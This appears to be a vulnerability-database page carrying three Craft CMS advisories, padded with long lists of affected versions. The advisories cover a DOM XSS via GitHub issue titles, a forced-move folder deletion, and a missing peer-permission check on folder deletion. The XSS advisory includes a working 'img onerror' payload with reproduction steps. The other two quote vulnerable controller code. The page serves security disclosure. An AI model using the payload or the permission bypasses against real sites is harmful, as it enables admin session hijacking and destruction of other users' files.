            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.16


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7


            5.0.0


            5.0.0-RC1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.0.6


            5.1.0


            5.1.1


            5.1.10


            5.1.2


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          4.18.0


          5.10.0

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-55790 GHSA-24x4-j6x9-rfw5 Jul 06, 2026

Craft CMS: DOM XSS via GitHub issue title in CraftSupport widget

High

Network Low None

Summary

An attacker with only a GitHub account can plant a JavaScript payload in a craftcms/cms issue title. When a Craft admin uses the CraftSupport widget’s "Give feedback" screen and types a search term that returns the poisoned issue, the payload executes in the admin’s control panel session.

No control panel account or elevated privileges are required on the attacker’s side.

Preconditions

Attacker has a GitHub account (no control panel access needed).
Victim is an administrator, and you have the CraftSupport widget on the dashboard.
Victim uses the "Give feedback" screen and types a search term that returns the poisoned issue.

Root cause

CraftSupportWidget.js lines 382-392:

$('<a>', {
  href: this.getSearchResultUrl(results[i]),
  target: '_blank',
  html:
    '<span class="status ' +
    this.getSearchResultStatus(results[i]) +
    '"></span>' +
    this.getSearchResultText(results[i]),
})

FeedbackScreen.getSearchResultText (line 669-671) returns result.title verbatim from the GitHub API response. The jQuery html: option sets the element’s innerHTML, so a title containing <img src=x onerror=...> executes immediately on render.

The GitHub API returns issue titles as raw JSON strings with no HTML encoding. The widget makes this request directly from the browser, without a Craft proxy or any sanitization step.

HelpScreen (Stack Exchange) is not affected because the Stack Exchange API HTML-encodes titles before returning them.

Steps to reproduce

Plant (attacker, GitHub account only):

Open https://github.com/craftcms/cms/issues/new.
Set the title to a string combining a plausible search term and the payload, e.g.:

<img src=x onerror=alert(document.domain)> cannot upload files

Submit the issue.

Trigger (victim, Craft admin):

Open the Craft control panel dashboard.
Open the CraftSupport widget, click "Give feedback".
Type cannot upload files in the search box.
alert(document.domain) fires in the admin's session.

Impact

XSS in the admin control panel session. The payload has access to Craft.csrfTokenName and Craft.csrfTokenValue and can send same-origin action requests as the admin without any further interaction.

Mitigating factors

Victim must actively use the "Give feedback" search screen.
Attacker must predict or social-engineer a search term the admin will type, or use a broad term likely to match.
Widget is only available to admins.

Resources

https://github.com/craftcms/cms/commit/6bbb66038a268552180ca5c8eed9f46ea25a4417

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 406 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.16


          5.9.23

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-50282 GHSA-3w32-23wj-rxg3 Jul 02, 2026

Craft CMS Vulnerable to Unauthorized Deletion of Destination Folders During Forced Moves

High

Network Low Low None

We have identified an authorization issue in Craft CMS where a forced folder move can delete a conflicting destination folder without destination delete permission.

Description

Craft CMS’s craft\\controllers\\AssetsController::actionMoveFolder() supports moving an asset folder into a destination parent folder. If a folder with the same name already exists at the destination, the action can be called with force=true to overwrite the destination.

The permission checks for this action allow:

deleteAssets:<sourceVolumeUid> for the folder being moved
createFolders:<destVolumeUid> for the destination parent folder
saveAssets:<destVolumeUid> for the destination parent folder

The action does not require deleteAssets on the destination volume or destination conflict folder. When force=true and a name conflict exists, the code deletes the destination folder to resolve the conflict.

$this->requireVolumePermissionByFolder('deleteAssets', $folderToMove);
$this->requireVolumePermissionByFolder('createFolders', $destinationFolder);
$this->requireVolumePermissionByFolder('saveAssets', $destinationFolder);

src/controllers/AssetsController.php:L751-L753

Indexed destination conflicts are deleted via the Assets service:

$assets->deleteFoldersByIds($existingFolder->id);

src/controllers/AssetsController.php:L798-L798

Unindexed destination conflicts are deleted directly in the volume filesystem:

$targetVolume->deleteDirectory(rtrim($destinationFolder->path, '/') . '/' . $folderToMove->name);

src/controllers/AssetsController.php:L815

Impact

A user who cannot delete assets in a destination volume can still delete a destination folder and its contents by triggering a forced move into a conflicting name. This can cause asset loss, broken references in entries and fields that point to deleted assets, and operational disruption.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 402 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.14


          5.9.21

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-50284 GHSA-7h62-6v23-v8fm Jul 02, 2026

Craft CMS: Missing peer-permission check in `AssetsController::actionDeleteFolder` allows deletion of other users' assets

High

Network Low Low None

Summary

AssetsController::actionDeleteFolder() only requires the deleteAssets:<volume-uid> permission for the target folder. It never enforces deletePeerAssets:<volume-uid>, even though Assets::deleteFoldersByIds() cascades deletion to every descendant folder and every asset inside, regardless of who uploaded them. A low-privilege user who has been granted folder-management rights on a shared volume can therefore destroy assets uploaded by other users (peer assets), bypassing the per-asset peer-permission check that the sibling actionDeleteAsset endpoint correctly applies.

This is the same bug class that was just fixed in actionMoveFolder as GHSA-3w32-23wj-rxg3 (commit 05c2042, Apr 23 2026); the fix added requireVolumePermissionByFolder('deletePeerAssets', …) and savePeerAssets checks to the move endpoint but did not propagate to the delete-folder endpoint.

Details

src/controllers/AssetsController.php:552-569:

public function actionDeleteFolder(): Response
{
    $this->requireAcceptsJson();
    $folderId = $this->request->getRequiredBodyParam('folderId');

    $assets = Craft::$app->getAssets();
    $folder = $assets->getFolderById($folderId);

    if (!$folder) {
        throw new BadRequestHttpException('The folder cannot be found');
    }

    // Check if it's possible to delete objects in the target volume.
    $this->requireVolumePermissionByFolder('deleteAssets', $folder); // <-- only checks deleteAssets
    $assets->deleteFoldersByIds($folderId);

    return $this->asSuccess();
}

requireVolumePermissionByFolder() (src/controllers/AssetsControllerTrait.php:75-88) only resolves to a single requirePermission('deleteAssets:<vol-uid>') call. The peer-equivalent helper (requirePeerVolumePermissionByAsset) is never invoked because there is no folder-level peer helper that iterates the folder's contents.

Assets::deleteFoldersByIds() (src/services/Assets.php:311-349) then enumerates the folder + every descendant folder, queries every asset under those IDs, and calls Craft::$app->getElements()->deleteElement($asset, true) directly:

$assetQuery = Asset::find()->folderId($allFolderIds);
$elementService = Craft::$app->getElements();

foreach (Db::each($assetQuery) as $asset) {
    $asset->keepFileOnDelete = !$deleteDir;
    $elementService->deleteElement($asset, true);
}

This bypasses Asset::canDelete() (src/elements/Asset.php:1515-1536):

public function canDelete(User $user): bool
{
    if ($this->isFolder) { return false; }
    if (parent::canDelete($user)) { return true; }
    $volume = $this->getVolume();
    if (Assets::isTempUploadFs($volume->getFs())) { return true; }

    if ($this->uploaderId !== $user->id) {
        return $user->can("deletePeerAssets:$volume->uid"); // <-- never reached on cascade delete
    }
    return $user->can("deleteAssets:$volume->uid");
}

Compare to actionDeleteAsset (src/controllers/AssetsController.php:579-613), which correctly does:

$this->requireVolumePermissionByAsset('deleteAssets', $asset);
$this->requirePeerVolumePermissionByAsset('deletePeerAssets', $asset);

The fix that landed in 05c2042 for actionMoveFolder (src/controllers/AssetsController.php:733-765) added both savePeerAssets and deletePeerAssets requireVolumePermissionByFolder checks to mirror the per-asset pattern, but the same hardening was not applied to actionDeleteFolder or actionRenameFolder (which also calls deleteFoldersByIds indirectly through later logic).

The asymmetry between the two endpoints demonstrates the missing check.

Impact

Integrity / availability of other users' assets on any volume where the attacker has deleteAssets but not deletePeerAssets: the attacker can permanently delete peer-owned files (and their parent folder structure) on the underlying filesystem, with no recovery via Craft's UI.
The Craft permission model explicitly distinguishes "delete your own assets" (deleteAssets) from "delete other users' assets" (deletePeerAssets) precisely so administrators can grant the former without the latter on shared volumes — this finding renders that distinction unenforceable for any user given folder-delete rights.
No information disclosure or remote code execution; impact is bounded to the affected volume's contents.
Does not require any non-default configuration: the affected endpoint is enabled by default and only requires that an administrator has split deleteAssets from deletePeerAssets (the documented, supported permission model).

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 404 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14

